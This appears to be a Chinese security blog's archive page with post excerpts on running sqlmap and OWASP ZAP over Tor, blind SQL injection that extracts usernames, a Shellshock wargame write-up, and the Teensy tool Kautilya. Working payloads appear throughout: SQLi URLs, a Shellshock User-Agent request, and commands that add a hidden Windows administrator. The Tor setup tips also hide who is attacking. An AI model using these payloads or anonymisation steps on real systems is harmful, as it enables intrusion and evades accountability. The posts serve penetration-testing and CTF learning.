跳到主要內容

發表文章

目前顯示的是 7月, 2016的文章

sqlmap on tor network

這篇主要介紹如何在Kali上,讓神器sqlmap跑在tor network上面,前面會先針對Kali的部份做初始化設定,而後才會針對sqlmap的相關參數做說明。 Step 1.  Install Tor 這邊主要根據Tor官方網站的安裝步驟: deb http://deb.torproject.org/torproject.org wheezy main >> /etc/opt/sources.list.d deb-src http://deb.torproject.org/torproject.org wheezy main >> /etc/opt/sources.list.d gpg --keyserver keys.gnupg.net --recv 886DDD89 gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add - apt-get update apt-get install tor apt-get install deb.torproject.org-keyring 接下來要安裝sqlmap在跑tor需要用到的套件: apt-get install privoxy 如此一來,必要的套件都已經安裝完成,接下來,這個設定可設可不設: (9050是tor預設port,如果有另外調整,要記得調整。) echo "forward-socks5 / 127.0.0.1:9050 ." >> /etc/privoxy/config 註:沒設定的話,在使用sqlmap的時候要記得帶--tor-port=9050這個參數 啟用Service service tor start service privoxy restart 這邊如果tor啟用失敗的話,可以嘗試下面指令: sudo systemctl start tor.service 從netstat確認一下 8118:privoxy 9050:tor 看到這兩個項目,表示tor的環境已經準備好了!可以開始進入正題! Step 2. Run sqlmap on Tor sqlmap的部份,這邊我們主要關注以下幾個

SQL Injection Get Username

SQL Injection Get Username 在『SQL Injection  attack and defense 』 by Justin Clarke,這本書上看到的蠻有意思的攻擊手法。 目的: 在無法直接顯示攻擊資料的狀況下,得到Username。 概要流程: 確認Username長度 找出完整Username名稱 攻擊說明: 步驟1、 現在假設我們有一個確認有SQLi漏洞的URL: http://www.test.com?id=12 這邊以MSSQL為例,步驟1的攻擊如下: http://www.test.com?id=12/(case+when+(len(system_user)+>+8)+then+1+else+0+end) (註:在URL中,「+」會被解析成空白。) 這邊簡單來說就是要做除法運算: 12÷ (後面的結果) 而SQL語法的部份,主要是用CASE語句: CASE WHEN condition THEN result1 ELSE result2 END 另一個部份: len(system_user) > 8 檢視username長度是否大於8 (註:在MySQL中,是使用length()做查詢。) (註:MySQL需要將system_user改成user()。) 所以透過上面的語法,我們可以做以下的解釋: 當username長度大於8時,回傳1,否則回傳0 所以最後的結果,會有兩種狀況: 狀況1.  12  ÷ 1=12 狀況2.  12   ÷ 0= ERROR 狀況1,我們可以原來的頁面,因為id是相同的12,但是狀況2的話,則會出現錯誤,很可能就會顯示『500 Internal Server Error』。 透過這個方式,我們可以調整長度,找出確切的長度,可以用類似二分法的減少攻擊次數。 步驟2、 確認長度以後,接下來我們要開始找完整username了! 攻擊指令: http://www.test.com?id=12/(case+when+(ascii(substring((select+system_user),1,1))+>+64)+then+1+else+0+end)

ISDA雲端安全推廣 - Wargame level 1-3

ISDA雲端安全推廣 - Wargame level 1-3 Level 1 提示:主機沒有死 這一題其實還蠻有趣的,而且很實際,在每一次的攻擊前,一定會做的就是搜尋,而掃port可以算是基本動作之一,其他像是google hacking之類各種最初的資料蒐集,也是通常攻擊的第一個階段工作,而掃port的工具中,耳熟能響的應該就屬nmap了! 官方網站:https://nmap.org/ 至於怎麼用,網路上很多資料,這邊不贅述,而這關就是要找出web服務,一般瀏覽器預設是走port 80,但是出題者,有重新做調整,所以不是走80。 Level 2 提示: level2.cgi, Ubuntu 14.04.1 漏洞: shellshock, CVE-2014-6271 測試語法: 此語法會延遲 9 秒,才收到 response 。 () { :; }; /bin/sleep 9 注:參考 poc 程式裡的 command , url:  https://github.com/securusglobal/BadBash Request : GET /cgi-bin/level2.cgi HTTP/1.1 Host: 52.62.39.102:8000 User-Agent: () { :; }; /bin/sleep 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Response:  Response 會出現錯誤『500 Internal Server Error』,在這題的攻擊來說這個錯誤訊息算是一個指標,表示我們的攻擊碼已經對後台造成影響,而這邊另外一個 重點是它也確實延遲 9 秒左右主機才有回應,因此可證實它應該存在 shellshock 漏洞,這邊我有想到調整 iptables 之類的,直接開門,不過有可能權限會不足,所以就先擺著,先進入 level 3 。 根據 level3 ,得

OWASP ZAP on Tor

OWASP ZAP on Tor 問題 要讓ZAP能夠透過Tor執行時,直覺會想要直接設定zap的proxy,如下圖: 但是在實際測試時,很快就會看到這樣的錯誤訊息: Tor is not an http proxy 這個錯誤主要是在說明Tor是Socks proxy,而Proxy是屬於OSI中Layer5的會話層(Session layer),而HTTP等是屬於Layer7的應用層(Application layer),因此由此可以得知ZAP proxy是屬於HTTP的Proxy,應該也包含了HTTPS,不過無論是HTTP/HTTPS這邊都會有錯誤,因此需要改成以Socks的Proxy,但是另外一個問題就出現了... 根本沒這個設定選項! 這部份卡了很久,總算是在官方的回覆中找到答案,不過也不是從設定去調整,而是從java去帶入參數,官方問答: https://github.com/zaproxy/zaproxy/issues/29 這是關鍵回覆: 解決此問題的關鍵兩個參數: -DsocksProxyHost=<proxyserver> -DsocksProxyPort=<proxyport> 完整執行zap on tor的指令: java -DsocksProxyHost=127.0.0.1 -DsocksProxyPort=9050 -jar zap-2.4.3.jar 注:如果是使用Tor Browser則是改成9150 然後用『Manual Request Editor』做驗證,我的驗證對象是 https://check.torproject.org Request: GET https://check.torproject.org/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0 Pragma: no-cache Cache-Control: no-cache Content-Length: 0 Host: check.torproject.

Teensy進階工具 - Kautilya

Teensy進階工具 - Kautilya 接續 Teensy 基本操作&攻擊 安裝介紹 最初想要在Windows上執行,但是似乎有一些lib的問題,嘗試處理了一下,最後還是放棄,直接擁抱Kali,轉到Kali以後,就是無痛直接執行! 上圖為Kautilya在windows上的功能,至於詳細功能,請參考他的github( 連結 ),這邊主要針對: Execute Reverse TCP  Reverse UDP Reverse ICMP Manage Add an admin user 這幾個項目做測試,因為比較簡單orz Add an admin user 這個基本上沒難度,就只是把程式碼燒進去以後,等它執行就對了! 然後它跑得時候會出現cmd的視窗,會縮得很小,讓妳看不到裡面再打什麼: 產生步驟: 沒什麼技術性,就產生完畢了! 稍微看了一下他的程式碼,主要都是用powershell去完成的,在使用者的部份主要是這兩段指令: # define U_ADD "net user new_user password /add" # define G_ADD "net localgroup Administrators new_user /add" 基本上,就是新增一個administrator權限的新使用者,另外蠻有趣的部份是,他有一些機制,下面這段主要是因為對於第一次接上的鍵盤或是滑鼠,都會需要安裝驅動程式,當然Teensy也不例外: void wait_for_drivers(int sleep){...} 檢查caps是沒否為on,畢竟這關係到大小寫: bool is_caps_on(void) {return ((ledkeys() & 2) == 2) ? true : false;} 這部份厲害的是,它還另外寫了powershell的指令,還有vbs去解除caps on的狀態,這邊真的只能佩服...orz void create_click_capslock_win() 不用多說了,所有視窗最小化! void minimise_windows(void)